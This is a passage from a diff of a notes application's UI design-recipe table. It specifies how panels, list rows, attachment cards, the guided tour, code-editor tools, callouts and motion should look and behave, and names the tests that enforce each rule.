sheet. Not tiers on purpose: the welcome wizard (it is slides, not a head), the confirm alert (a question and its answers), the Ctrl+K palette (an input and a list), the lightbox (a media viewer on its own dark ground, 82% black, with a round white X: a picture is not a card) and the in-page columns (Ask history, the notes rail, the Web panel, the board's Library), which are cards in the page and keep the panel-head recipe | `tests/test_ui_recipes.py` (every small dialog opens with the head; every popup `*-close` is `dialog-head-btn`, with the in-page closes frozen in `IN_PAGE_CLOSE_DRIFT`; the last declared radius of every dialog and panel is `--radius`; the panel tier is padded `--panel-pad`; every dim is `--scrim`), `scratchpad/ui-sweeps/popupinv.js` (42 surfaces at 1440 and 390, light and dark; `popupcmp.py` counts the distinct values per property), `scratchpad/popup-inventory.md` |
 | A panel head inside a card (a title with something to do beside it) | `h3.panel-head`: identity, then **at most one** chip, then an all-icon `aria-label`led action group; the row is `nowrap` and the chip is the only zone that may shrink (it ellipsises, with the whole phrase on its `title`). Every ancestor between the chip and the card needs `min-width: 0` or the head simply grows past its column | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/askhead.js` |
 | A side pane that searches and reads (the chat tab's Web panel) | The `h3.panel-head` recipe whose one fact is a state **dot** (`.web-engine-dot`, `role="img"`, its words on the `title` and the `aria-label`, never a chip) and whose actions are a `kebabMenu` of the engine's commands and the close; one `.web-search-field` well holding the glyph, the input with its own box turned off (the Finder's "the bar is the field") and a Stop that shows only while something is loading, Enter searching and ArrowDown handing the focus to the list; results on the list-row recipe (a letter tile for the site, never a fetched favicon, then source, title and snippet, one kebab that is also the right-click); and a reader that is the pane's **one** scroller: a back link and the address's tools over the title, one action row of the filled primary and icons, and the page as prose at `--doc-measure` with no box drawn round it. Ctrl+F there is the app's find bar scoped to the page (`openGlobalFind({scope})`), not a second find | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/webpanel.js`, `scratchpad/ui-sweeps/webpanelflow.js` |
 | A list row you can act on without leaving the list (a finding in the writing panel) | the row is a `<li>` holding a head row and one `.doc-prose-answers` box: the control carries `aria-expanded`, the row takes `aria-current="location"` and is painted from it, one row is open at a time, the answers are the same controls the matching popover draws (one builder, never a second set), and the open row is brought into view with the list's own `scrollTop`. A list row never opens a popover over the content it is about | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/prosepanel.js` |
 | A popup placed in the window's own coordinates (a menu at a word, a completion list at the caret, a toolbar dropdown) | it is a child of `body` while it is open and goes back on a comment placeholder when it closes, and its position is **set, measured and corrected by the difference** (`docPlaceFixed` in documents.js, `clampToolbarMenu`'s second pass in app.js), never trusted. **And it is anchored to the thing it is about, asked again, never to an element held from the gesture** (INBOX 421 c): a press that moves the caret makes the Live view redraw that line, and a held element is then detached and measures `0,0,0,0`, which put the word menu at the top of the window. `docFindingAnchor` asks the live mark, then the engine's coordinates for the finding's span, and a rect with nothing in it opens nothing; the menu re-anchors on the engine's own update (`docScheduleSuggestFollow`), and a caret the engine has not drawn (`coordsAt(...).offscreen`) is scrolled into view before a popup is placed at it. A `position: fixed` element takes its frame from the nearest ancestor carrying a `filter`, `transform` or `backdrop-filter`, and `.card` carries one whenever the background art is on: measured with the art on, a word menu asked for `left 952` and drew at `1245`, 45px past the right edge of the window, inside a stacking context no z-index could lift it out of | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/spellwide.js`, `scratchpad/ui-sweeps/menuanchor.js` |
 | One feature drawn on several surfaces (the writing suggestions: the underline, the word menu, the panel, the dictionary) | one name in the copy, one builder per drawn object (`docFindingLine` for a finding: the kind dot in that kind's underline colour, the flagged words, then the reason, in that order everywhere; `docSuggestAnswers` for its answers), and one scope each: the underline says **where**, the menu answers **this occurrence**, the panel answers **the document**, the dialog holds the **standing rules**. No surface does another's job, and a second copy of either builder is how the four came to disagree in the first place | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/prosepanel.js` |
 | A list that says where you are in something (an outline, a page strip) | the row you are on takes `aria-current` (`"location"` inside a document) and is painted **from that attribute**, `--accent-soft` plus a weight step, never colour alone and never a fill plus an accent edge; if the list scrolls, the marked row is brought into view by adjusting that box's own `scrollTop`, never `scrollIntoView` (it walks every scrolling ancestor, the page included) | `tests/test_ui_recipes.py` |
-| A row in a list | `.timeline-row`'s shape, on `--row-h` and `--row-gap`: a grid of mark, content and actions, the content column the only one that grows, a transparent 1px border so the hairline it gains under the pointer moves nothing, and the ground arriving with the pointer rather than an edge drawn around every row | `tests/test_ui_recipes.py` |
+| A row in a list | `.timeline-row`'s shape, on `--row-h` and `--row-gap`: a grid of mark, content and actions, the content column the only one that grows, a transparent 1px border so the hairline it gains under the pointer moves nothing, and the ground arriving with the pointer rather than an edge drawn around every row. **A row's actions are one right-hand cell, centred on the whole row** (`align-self: center`) and always shown: never hidden until the pointer arrives, never hugging the card's top corner, and on a phone on their own line below the content rather than over the tick (Settings' templates, skills and personas, Reminders). A row with a mark and a title over one line of facts is the Library's Contents (`.contents-row`, INBOX 496): the mark a 2rem square, the facts `metaLine` | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/badges.js` |
+| A note that is only on this device (saved while the server was away, waiting in the outbox) | **The pending note row**: `li.pending-note` at the top of `#entry-list`, drawn by `renderPendingNoteRows` in quick-note.js with the saved card's own title, text and `#tag` chips, one `chip item-label` that says "Waiting to save" (`ph:cloud-slash`, a title that says where it is kept), and **no actions that need the server** (no menu, no buttons). It is redrawn on every write to the outbox and goes when the note is sent; hidden under a filter. Not a toast: a note that is not saved yet has to be seen where the saved ones are | `tests/test_pending_note_rows.py` |
 | A long list (hundreds of rows in one scroller) | each row takes `content-visibility: auto` with `contain-intrinsic-size: auto <its median height>` (07-whiteboard-misc.css, beside the board's culling), so a row more than half a window off screen is not styled, laid out or painted, and `auto` remembers the height it last drew at. Never on a row being edited, holding an open `<details>` or holding focus (containment clips what the row paints, and an editor's toolbar menu opens past it); a row's own menus are fine, `kebabMenu` sends them to `<body>`. Built with a date or a number in it, the row uses a formatter made once, never `toLocale*String` per row (each call builds a new `Intl.DateTimeFormat`). And a script that measures many rows reads them all and then writes them all, never both per row | `tests/test_css_invalidation.py`, `scratchpad/ui-sweeps/f2-trace.js` |
+| A file attached to a note (a note's own file, a file its text links, a picture staged in Capture, a file waiting for Save, the read-only copy in a document, the graph's panel or the timeline) | `attachmentCard(spec)` in notes-list.js (`fileCard(name, url, size)` for a read-only surface): one `.att-card`, whatever the kind. A tile (the picture, or the kind's glyph on a tint of `--att-tint`), the whole name on up to two lines (`-webkit-line-clamp: 2`, `overflow-wrap: anywhere`, the full name on the `title`; never one line cut mid-word), and one facts line (`library-file-meta att-card-meta`: kind, size, the day it was added). **The card is the button that opens the file** (the lightbox for a picture or a document, a native player opening out under the card for a recording); everything else is one `kebabMenu`, grouped: Open, Download, Rename, Describe with AI (disabled with its reason when `aiIsOff()`), Edit description, Annotate a copy (pictures), Copy as a link, Remove. Rename and Remove appear only where the file is written down (`textarea` + `markdown`, or `attachment` + `onChange`); removing from a note's text offers Undo and deletes the bytes only once nothing uses them. Several cards sit in an `.att-cards` grid. What a click does is the lazy piece attachment-actions.js (`attachmentAction`), off the boot budget | `tests/test_attachment_cards.py`, `scratchpad/ui-sweeps/attachcards.js` |
 | One line of facts about the thing a row or card names | `.library-file-meta` plus a handle of its own: short statements, dot separators, `--text-xs`, `--muted`, one rank. Never a block per fact, which is what all three of the Library's "this needs a redesign" reports turned out to be | `tests/test_ui_recipes.py` |
 | A bar of actions for the things you have selected | `.library-contextbar.selectbar`: the count first, every action inside one `.library-contextbar-end` group, and `position: sticky` at `--selectbar-top` so the bar stays with you while the selection lasts. The ground is the accent tint stacked over `--modal-bg-opaque`, never the tint alone: a 14% wash reads right at rest and turns into a window once the list scrolls under it | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/selstick.js` |
 | Two versions of the same text, and what changed between them | `docRenderDiff(host, ops)` over `docDiffLines` in documents.js: one `.doc-diff-line` per line inside the app's `.diff-viewer` box, a marker column so every line starts on one edge, unchanged runs counted in a `.doc-diff-gap` rather than printed, `.diff-added` / `.diff-removed` for the ink (the same two colours the chat's before/after card uses), and a `.doc-diff-hunk-head` per change where a change can be kept or skipped. One builder: the history dialog and the AI edit panel are the same object at two moments, and a second builder is how they would come to disagree about what a change is | `tests/test_document_diff.py` |
 | Empty state | `.empty-state` with one sentence and one action | |
+| An empty line in a small panel (a short list with nothing in it, in a glance panel, a Settings section or a sidebar group) | `p.muted.empty-line` (07-whiteboard-misc.css): one sentence, `--muted`, `--text-md`, start-aligned, `margin: var(--space-3) 0`, no icon; at most one inline ghost action after it. `.empty-state`, a centred block with 2rem of padding, is for a surface whose whole content area is empty; in a 384px panel it pushes the panel's own controls apart. Decided 2026-10-05 (op4-1005, OPEN.md visual-c): fourteen such lines drew in four type sizes (11.2 to 14.72px) and five margins; the agent panel's line, already on `--text-md`, became the recipe. A heading's hint rule in Settings does not pull an empty line up under the heading (`:not(.empty-line)`) | `tests/test_ui_recipes.py` (every `<p id="...-empty">` is one of the two recipes, or named in a list that only shrinks) |
 | A mark generated from a name (a persona, the person) | `nameMark(seed, size)` in app.js: deterministic from the name, drawn as SVG from the categorical palette, never fetched. A persona's goes through `fillPersonaMark`; an assistant reply in the chat draws its writer's (saved per turn) through `paintPersonaAvatar`, which keeps the live emblem for the app's own voice. **The person's** is seeded by `userMarkSeed()` (the profile's display name, or "You"), and its holder carries `data-user-mark="<size>"` so `paintUserMarks()` redraws every one of them at once when the preferences arrive or are saved: the chat's own bubbles (`.msg-user-mark`), the Settings head and the profile's head (`.profile-mark`). Never a `ph-user` glyph, an `<img>` or a second builder | `tests/test_ui_recipes.py` |
 | A notice: one line the app says about what is on screen (the search index is stale, this answer is mostly the model) | `.notice`, with `.notice-warn` for something worth doubting (08-consistency.css). An icon from the vendored set as its first child, through `setLabel`, then one short line. A notice annotates what is beside it; an error is a toast, help is `data-help-for`, and `.empty-state` replaces content rather than annotating it. Two tones and no more, because a third needs a rule for when to use it. Neither tone uses a warn *fill*: a filled band over an answer reads as a failed answer, and an answer with less behind it than usual is not a failure. Added 2026-09-21 with CHAT_PLAN Phase 1's low-support line, which was the second surface to need one; the first, `.reindex-stale`, was built inline and now uses this | `tests/test_ui_recipes.py` |
+| A chart answering a question (a count or a trend over the notebook) | `renderAskChart` in ask-chart.js: one `.ask-chart` card above the answer it belongs to, a head of the title (what was counted, over what), a quiet total and Save as PNG, then the SVG (bars for a category or a tag, a line for time) and the same numbers as a `<table>` in a "The numbers" fold. Every mark takes its colour from a class (`.ask-chart-bar`, `.ask-chart-line`, `.ask-chart-grid`, `.ask-chart-axis`) over the theme's tokens, never a hex in the script, so both themes hold; the PNG writes the resolved colours onto a copy. The SVG is `role="img"` with a label pointing at the table, which is what a screen reader reads. The numbers come from the records (`POST /charts/question`), never from the model | `tests/test_vision_rows_row11.py` |
 | An icon-only control | a `title` as well as an `aria-label`, saying the same thing. An `aria-label` alone answers a screen reader and nobody else: somebody looking at a row of glyphs with a mouse has no way to find out what any of them do short of pressing one. A control that is disabled says why in that title too, since a greyed thing with no reason reads as the app being broken rather than as something not being ready | `scratchpad/ui-sweeps/vibecheck.js` |
 | A surface whose data did not arrive | `surfaceFailed(el, what, retry)` in navigation.js, on the surface's own `.empty-state` element, cleared by `surfaceRecovered(el)` on the next good read; `loadSurface(el, what, run)` wraps a loader that throws. Never the empty state, which is a claim about the person's notes that a failed request is no basis for: measured with every request failing, four surfaces said "Your notebook is empty" over a full notebook and the dashboard printed "0 this week". A figure that could not be read is an en-dash with the reason on its `title`, never 0 | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/vibefail.js` |
 | A guided tour of the interface (a card that points at a real control, over a dimmed page) | a step in `TOUR_SECTIONS` (tour.js): a selector, a side and one sentence, in a section. The card is `.card.tour-card`, `role="dialog" aria-modal="true"` so app.js's own Tab trap holds focus in it, placed by the window-coordinates rule above (set, measured, corrected, and **measured again every frame the card is up**, `tourWatchFrame`: a control that moves with no scroll or resize, content loading above it or a layer settling, is followed, and a layer drawn anywhere but where it was asked is placed again), flipped to the opposite side and clamped rather than ever covering the control it names, and a step whose element is missing, hidden **or not really on screen** is dropped from the run so the "3 of 7" counter renumbers rather than promising a step that is not coming. **A cut-out is never drawn outside the window**: a hole placed off the page leaves the dim with nothing to surround, which is what a target off the right edge produced (INBOX 280, measured at 2000x1140: `right - left` went negative, `width: -994px` was dropped as invalid, and the cut-out kept the previous step's 708px width at x 2994). `tourSpotlight` checks the clamped box before writing it and answers whether it drew one; when it did not, the card is centred and nothing is dimmed. Each step switches to its target's tab and Notes sub-tab first and then **waits** for the target to be on screen (`tourWaitForTarget`, up to 1.5s of frames), because a tab's content is fetched after `switchTab` resolves and a step measured too early is dropped for having nothing to point at, which from outside reads as a tour that never leaves the page you were on. Which tab is showing is asked of the pressed tab button, never of `localStorage` alone. The dim is a **cut-out**, and it is painted by **four `.tour-block-panel`s around the hole**, not by one sheet and not by a shadow cast out of the hole. `#tour-spot` paints no background and draws only the ring, so the described control is the page itself at full strength; the four panels carry `var(--scrim)`, take the presses so a step cannot be taken out from under its own card, and leave the hole pressable (a tour that says "press Save" and eats the press teaches that Save is broken). **The dim belongs on the panels because that is the only shape a probe can read.** It used to be `#tour-spot`'s own `box-shadow` spread 100vmax, whose reach depended on `vmax` and on its own corner radius inflated by the spread; `tourdim.js` and `test_ui_recipes.py` were both green while the owner photographed an undimmed band three times, because both were checking the four rectangles and the four rectangles were transparent. The panels are laid out from the same box as the cut-out and sized from `max(clientWidth, innerWidth)` so the scrollbar gutter is covered, and `tourdim.js` now walks `elementsFromPoint` over the window. **The step card is opaque**, `linear-gradient(var(--card), var(--card))` on `var(--modal-bg-opaque)`, the app's recipe for a surface whose legibility cannot depend on what is behind it: a plain `.card` is a 55% fill and the dashboard clock read through the step's own text. The way out is visible: an icon-only `.ghost.small` X in the card's head, `aria-label="Close the tour"`, beside the count, with Skip on the actions row and Escape both still ending the same run. **Before every step the tour closes whatever is open over the page** (`tourClearTheWay`: Settings, the palettes, the features browser, the shortcut sheet, every `openSheet` sheet through its own X, open dock menus) **and a control with something else drawn over it is not on screen** (`tourCovered`, five points through `elementsFromPoint`, skipping the tour's own layers): with the Atlas guide open every step used to light the guide instead of its control, which is what "broken on all the slides except the first one" was. A control that moves behind another one at a narrow width names it as the step's `or`, with an `orText` that says where it went (Settings and Timeline are in More on a phone), and a chrome step that is not drawn at this size at all is left out before the count is written, so the counter never changes mid-run. **On a phone the card is a sheet**, the window's width less its gutters, docked to the edge away from the control (`tourSheetPlace`). Keys aimed at a field outside the card are the field's, because the lit control can be typed in. A new subject is a section in that one table (the replay buttons in Settings, help and guide build themselves from it), never a second tour. **Sections chain and walk in** (INBOX 398): every main feature has a section of three to five cards on its own controls, never on its tab button; a run starts at a section and plays every later one, the count is per section ("Graph", "2 of 4"), and a section's last card offers "Next: Chat" as the primary with Finish as the ghost. A step says what it needs rather than doing it by hand: `tab`, `notes`, `library` (a sub-tab), `wb` (the boards list, or the newest board or map opened, never one made), `settings` (the modal opened at a section and kept open for that section's steps only), `need` (a question about the notebook, settled as the section starts so its count never changes), `unless` with `unlessText` (what a card says instead when that answer is no: the maps section with no map says so on its one card) and `media` (a step that exists on one side of a breakpoint). A control inside a closed `<details>` counts as hidden (a dock folds controls into its ⋯ below 1100 and 600, and the folded list keeps a layout box while nothing is painted), so such a step names the menu it folds into as its `or`, with words that say so; a settings step opens the `details.settings-fold` its control is in, and the tour folds it again when it ends | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/tour.js`, `tourdim.js` (the dim is painted, at every point), `toursteps.js` (every step of every section at 1440 and 390); `tour.js` walks every step of every section at 1440x900, 1184x760 and 390x844, with overlays open, a resize across the phone breakpoint and typing in the lit control |
 | Two panes showing one document (a source pane beside its rendered pane) | the two are kept on the same place by a **line-to-block map**, never by a scroll fraction. `renderMarkdown` (navigation.js) stamps every block it draws with the source line it came from (`data-src-line`); `docScrollAnchors` (documents.js) pairs each stamp with that line's top in the editor (CodeMirror's `lineBlockAt`, which answers for the whole document, not `coordsAtPos`, which answers null off screen) and the block's own **rect, corrected by the pane's rect and scroll**, in the preview, never `offsetTop`, which is taken from the nearest positioned ancestor and ran 218px past the truth at 1440, 230px at 1024 and 146px with the sidebar collapsed (INBOX 281); the sync interpolates between the two nearest pairs and carries the end segments' slopes outwards. The stamps count lines in the string the preview rendered, so the title prefix and the stripped frontmatter are undone through `docPreviewLineShift`. A fraction is exact at both ends and wrong in the middle, because a picture is one line of source and four hundred pixels of preview and every such block shifts everything below it in one pane only: measured on a five-section document, the preview was 282, 292, 266, 404 and 550px out at the five headings, growing downwards. With the map: 0, 75, 0, 0, 0. The fraction stays as the fallback for a surface with no line map of its own | `tests/test_ui_recipes.py` |
+| Line numbers beside text (Capture, the note edit form, the documents editor; INBOX 590) | An editor view numbers itself: `lineNumbers()` and `highlightActiveLineGutter()` (`docCmGutter`, `noteSurfaceGutter` in documents.js), styled once in `docCmTheme`; a plain textarea gets `mountGutterFor`'s `.doc-gutter`, which only copies the box's row metrics. Either way: no box of its own (no border, radius or fill), figures at 0.8 of the text (`--text-xs` in the textarea column) in muted tabular figures, right-aligned, each on its line's baseline, and the caret's line in the body ink while the box has the focus. Never a second column beside an editor that numbers itself | `tests/test_line_gutter_look.py`, `scratchpad/ui-sweeps/gutter.js` |
 | A syntax error or a completion list in a code document | CodeMirror's own linter, lint gutter and completion list, mounted by `docCodeTools` (documents.js) for code types only and never in Plain, and restyled in `docCmTheme` onto the tokens: the underline is the prose findings' wavy line in the kind's ink (`--error`, `--warn`, dotted `--muted` for a note), the gutter mark a dot in the same ink outside the line numbers, the hover and the list on `--modal-bg-opaque` because words laid over code must not read through, the chosen row `--accent-soft`. Checked where a real parser is: the browser for JSON (`docJsonErrorAt`), JavaScript, TypeScript and CSS (the Lezer tree), the server for Python, TOML, XML and YAML (`POST /documents/check-syntax`); never by running the file. **A fix for one** is an `action` on its diagnostic: drawn by the hover card as a `.cm-diagnosticAction` button on `--accent-soft` (never the library's dark slab), and listed at the caret by Alt+Enter through `openMenuAtPoint` with the two formats beneath, fixes first; never on Ctrl+., which the shortcut registry gives to stopping an answer. A fix is recomputed from the text when chosen (`docCodeFixNow`), never applied from offsets taken at lint time. **Pairs and Enter** are `closeBrackets` and the indent service in the same compartment (`docCodeEditing`), so they follow the file type and Plain exactly as the diagnostics do. **The list opens as you type** in a code type (`docCompletionExtras`, same compartment; prose keeps an inert completer): the language's own rows, Emmet rows in HTML where markup starts a line or follows a tag and in CSS where a declaration starts (detail "Emmet", the expansion previewed in `.cm-completionInfo` on `--modal-bg-opaque`), and after a CSS property's `: ` that property's own values only. The chosen row's rest is drawn after the caret as `.cm-ghostText` in `--muted`, taken with Tab; Enter stays the list's, Escape closes both. **A colour value** in CSS (and an HTML file's `<style>`) has a `.cm-color-swatch` before it, found from the tree: 0.8em square in the colour on a `--border` hairline at `--radius-inner`, and a click opens the browser's own colour picker, the pick written back in the value's own form (`docCssColorFormat`). **A name's one line** (a CSS property, an HTML element or attribute) is on the diagnostics' own hover card as `.cm-hover-doc`: the name in code type, the line in `--text`, a property's values in `--muted`; the lines are this app's own words (`DOC_HOVER_*`), never MDN's. **Indentation guides** are a `--border` hairline at the left edge of each indent step of the leading whitespace (`.cm-indent-guide`, one mark per step, never stepped in `ch`, which is not the code face's space); **bracket pairs** take `.cm-bracket-0` to `-2` by depth, `--accent`, `--syntax-keyword` and `--warn` each mixed 70% with `--text`, and a bracket in a string, comment, regex or HTML text is not one. **A code file's outline and breadcrumb are its symbols** (`docCodeSymbols`, the headings' own shape and rows), which jump and never move. **Sticky scroll** pins the enclosing scopes' first lines as `.cm-sticky`, an overlay on `--modal-bg-opaque` with a `--border` hairline and `--shadow-sm`, laid over the scroller rather than a panel (a panel resizes the scroller and the text jumps), each row column for column over the code. **Run** (`#doc-code-run`, a ghost small button beside Format, Ctrl+Shift+Enter) opens `.cm-run-panel` under the editor: a head row of ghost small worded buttons (Run again, Stop, Clear, Close) with the status in `--muted`, an HTML file's page in a sandboxed frame above a code-type log, rows on a `--border` hairline, errors and warnings in `--error`/`--warn` on their soft grounds, each row's `Line N` a link back; the code runs only in `/documents/run-sandbox` (`api/run_sandbox.py`), never in the app's own origin. **Format** is one ghost `#doc-code-format` button in the document's dock, shown for code types where the markdown strip is hidden (the two swap in `syncDocFileType`), with Shift+Alt+F and a palette row reaching the same `docFormatCode`: refused with a toast naming the line when the file does not parse, one undo step when it does | `tests/test_ui_recipes.py`, `tests/test_syntax_check.py`, `tests/test_code_editing.py`, `tests/test_code_completion.py`, `scratchpad/ui-sweeps/doccode.js`, `scratchpad/ui-sweeps/doccodeedit.js`, `scratchpad/ui-sweeps/doccomplete.js`, `scratchpad/ui-sweeps/doccodevs.js`, `scratchpad/ui-sweeps/doccodevs2.js` |
 | Text the editor writes for you in a prose document (an expansion, a shortcode, a closing pair) | one more row kind in the prose list that already exists (`#doc-complete-list`, `renderDocComplete`), never a second popup at the caret: `li.doc-complete-fill` with the trigger in `<b>` and what it writes as `.doc-complete-detail` in `--muted` at `--text-xs` (a shortcode leads with `.doc-complete-glyph`), expansions above word rows; the chosen row's first line drawn after the caret as the code side's `.cm-ghostText`; Tab takes any row and **Enter only an expansion** (a guessed word never takes Enter). A trigger that is also a common word (`now`, `date`, `todo`, `hr`) counts only on a line of its own; `lorem` and `:shortcode` count anywhere. The strings are the `PROSE-FILL` region of documents-prose.js, pure, run in node. Pairs and smart punctuation are one `inputHandler`, never inside code, smart punctuation off unless Settings, Preferences turns it on | `tests/test_prose_autofill.py`, `scratchpad/ui-sweeps/proseautofill.js` |
-| A menu that inserts a block where you are writing (the "/" menu, in every editing surface) | the one `#editor-menu` popup (editor.js): a `#editor-menu-list` listbox of rows from `editorBlockRows`, grouped in `EDITOR_GROUP_ORDER` (Recent, Basic, Structure, Callouts, Media, Embeds, Advanced, AI, Templates) under pinned `.editor-menu-group` headings; a row is `.editor-menu-tile` (the icon), the name over one `about` line, and the markdown it writes as a `kbd.editor-menu-keys`; `#editor-menu-preview` beside the list from 44rem renders the row's `sample` through `renderMarkdown`, inert. Search is `editorFuzzyRank`; arrows, Home and End, Tab and Shift+Tab between groups, Enter, Escape; the pointer moves the highlight only when it moves. A block needing a second choice asks in the same popup (the code block's `` ``` `` language step), never a dialog. A new block is a row in `editorBlockRows` plus its spelling below, in notes and documents alike unless it needs a document to mean anything | `tests/test_md_blocks.py`, `scratchpad/ui-sweeps/slashmenu.js`, `scratchpad/ui-sweeps/slashicons.js` |
-| A block in somebody's markdown (a callout, columns, a contents list, a rule, a cited quote, display maths, an embedded document) | a spelling any other markdown reader shows legibly (`> [!kind]`, `:::columns`, `[TOC]`, `***`, `> -- Name`, `$$ $$`, `![[Title]]`), parsed only in the `MD-BLOCKS` region of app.js and drawn by its one builder (`mdCalloutElement`, `mdColumnsElement`, `mdTocElement` and `mdFillTocs`, `mdRuleElement`, `mdQuoteElement`, `mdMathElement`, `mdDocumentCard`), which the note card, `renderMarkdown` and the document's Live view all call, each passing its own text renderer. A callout kind is a row in `CALLOUT_KINDS` (icon, label, one line, aliases) and one ink in 05-sidebars-themes.css set as `--callout-accent` and mixed from the palette tokens; the tint, edge and icon tile are derived from it. The HTML export's stylesheet (`DOC_EXPORT_CSS`) styles each block too | `tests/test_md_blocks.py`, `scratchpad/ui-sweeps/blocksrender.js` |
+| A menu that inserts a block where you are writing (the "/" menu, in every editing surface) | the one `#editor-menu` popup (editor.js): a `#editor-menu-list` listbox of rows from `editorBlockRows`, grouped in `EDITOR_GROUP_ORDER` (Recent, Basic, Structure, Callouts, Media, Embeds, Advanced, AI, Templates) under pinned `.editor-menu-group` headings; a row is the shared rich picker row (`richPickerRow`, rich-picker.js: `.rich-picker-tile` for the icon, `.rich-picker-label` over one `.rich-picker-about` line, and the markdown it writes as `.rich-picker-keys`); `#editor-menu-preview` beside the list from 44rem renders the row's `sample` through `renderMarkdown`, inert. Search is `editorFuzzyRank`; arrows, Home and End, Tab and Shift+Tab between groups, Enter, Escape; the pointer moves the highlight only when it moves. A block needing a second choice asks in the same popup (the code block's `` ``` `` language step), never a dialog. A new block is a row in `editorBlockRows` plus its spelling below, in notes and documents alike unless it needs a document to mean anything | `tests/test_md_blocks.py`, `scratchpad/ui-sweeps/slashmenu.js`, `scratchpad/ui-sweeps/slashicons.js` |
+| A block in somebody's markdown (a callout, columns, a contents list, a rule, a cited quote, display maths, an embedded document) | a spelling any other markdown reader shows legibly (`> [!kind]`, `:::columns`, `[TOC]`, `***`, `> -- Name`, `$$ $$`, `![[Title]]`), parsed only in the `MD-BLOCKS` region of app.js and drawn by its one builder (`mdCalloutElement`, `mdColumnsElement`, `mdTocElement` and `mdFillTocs`, `mdRuleElement`, `mdQuoteElement`, `mdMathElement`, `mdDocumentCard`), which the note card, `renderMarkdown` and the document's Live view all call, each passing its own text renderer. A callout kind is a row in `CALLOUT_KINDS` (icon, label, one line, aliases) and one ink in 05-sidebars-themes.css set as `--callout-accent` and mixed from the palette tokens; the tint, edge and icon tile are derived from it. **In the Live view a callout shows its kind once** (INBOX 486): the icon with a caret is the kind picker (`calloutMenuItems`), the first line's own text is the title (the kind's name stands in, muted, only when there is none), `>` and `[!kind]` never show there whatever the caret does (Source shows them), and an empty body carries a hint (`calloutHint`, "Write the note") that is not text; the "/" row writes the kind's name as the title and leaves the body empty with the caret in it. The HTML export's stylesheet (`DOC_EXPORT_CSS`) styles each block too | `tests/test_md_blocks.py`, `scratchpad/ui-sweeps/blocksrender.js`, `callouthead.js` |
 | Acting on a rendered block (change its kind, fold, edit, copy, delete) | the block bar (`docBlockBarShow`, documents.js): a solid `.doc-block-bar` of `smallButton`s at the block's top right while the pointer is on it, lifted to body and placed by `docPlaceFixed`; the callout's kind is its own tile opening `calloutMenuItems` through `openMenuAtPoint`, the same list the Live view's `.cm-md-callout-kindbtn` opens. Every change is written through the surface after checking the source line is the block, and a delete offers Undo in its toast | `scratchpad/ui-sweeps/blockbar.js` |
 | Spacing, type, radius, shadow, motion | the tokens above; a px in a stylesheet is a lint failure | `tests/test_style_scale.py` |
-| A transition, a hover | a `--motion-*` duration and an `--ease-*` curve on every transition, never `all`; a hover is a colour (`--accent-surface-hover` for a solid button, `--hover-veil` over any other ground), never a `filter` | `tests/test_motion_tokens.py`, `scratchpad/ui-sweeps/f2-hover.js` |
-| A notification (toast) | `toast`, `toastAction` or `toastProgress` in status.js; it arrives and leaves by fading with 4px of travel (`toast-in`, `toast-out`, on `translate`), and every way out goes through `dismissToast`, never `note.remove()`, so none of them vanishes between two frames | `scratchpad/ui-sweeps/f2-skel.js` |
-| A list whose first rows are on their way | `showSkeletons(list, n)` before the fetch and `clearSkeletons(list)` after it (app.js): the `.skeleton` placeholders at the height of the list's own rows, `aria-busy` while they show, only ever into an empty list; the list's own render replaces them. Never a spinner or a blank card where the shape of the content is known | `scratchpad/ui-sweeps/f2-skel.js` |
+| A transition, a hover | a `--ui-*` duration for anything of the interface (`--motion-*` only for the decorative surfaces: Atlas, the graph, the whiteboard, the progress indicators) and an `--ease-*` curve on every transition, never `all`, never `box-shadow`; a hover is a colour (`--accent-surface-hover` for a solid button, `--hover-veil` over any other ground), never a `filter` | `tests/test_motion_tokens.py`, `scratchpad/ui-sweeps/f2-hover.js` |
+| Motion (a selection that moves, a panel that opens) | **What moves is the compositor's**: `opacity`, `transform`/`translate`/`scale`, a colour, on the `--motion-*` tokens. **A selection** is the one indicator recipe (08-consistency.css, "motion: one sliding indicator for every strip"): the strip's `::before` placed on the chosen option by `glideStrip` (shell-reminders.js) and moved by a `transform` animation on `--ui-slow`; a strip gets it by being a `.seg`, a `.tabs-line` or joining `GLIDE_STRIPS`, and a family whose chosen option has its own corner or fill sets `--glide-radius`, `--glide-fill`, `--glide-ring` there. No inset moves anywhere. **A panel** keeps its column or placement instant and moves only its contents: `aside[data-resizable]`'s children by `opacity` and `transform` toward the rail, a fixed side panel by `@starting-style` from its edge. **A page** fades in from 0.4 (`.tab-page`, `--ui-fast`, `opacity`; never from 0, which is a blank frame) and leaves at once; a heavy page's first visit is one page-sized skeleton that fades as the page does (`tabPlaceholder`). **A popup** fades its scrim in (`--ui-base`) and rises its card a step from 0.985 (`--ui-slow`), one `:where()` recipe for every overlay, and leaves the same way over `--ui-exit`. **A menu or popover** fades and grows from 0.96 out of its opener's corner (`ui-fade`, `ui-grow` 1ms late so no placement measures a transform), closing back over `--ui-exit`. **A press** is `scale: 0.97` and a deeper ground; **a focus ring** eases its colour; **a hover** eases a colour, never a shadow; **a list** settles in where its skeleton was (`.ui-settle`); **a toast** arrives from its edge and the others slide (`toastStack`). **The opening** is one curtain lifted once over a drawn first tab (`curtainShell`), and nothing that arrives late may move what is drawn: a late line keeps its line box, a script-drawn mark its room, a part that comes after a fetch is waited for unseen. **Never** a width or height in motion, nothing on first paint. **Governed by Interface animations** (`data-ui-motion`, the `--ui-*` tokens), not by reduced motion: on, it plays under reduced motion; off, it is instant | `tests/test_motion_recipes.py`, `tests/test_cheap_animations.py`, `tests/test_smooth_boot.py`, `scratchpad/ui-sweeps/motion1005.js`, `sidemotion.js`, `smooth1005-boot.js`, `smooth1005-tabs.js` |
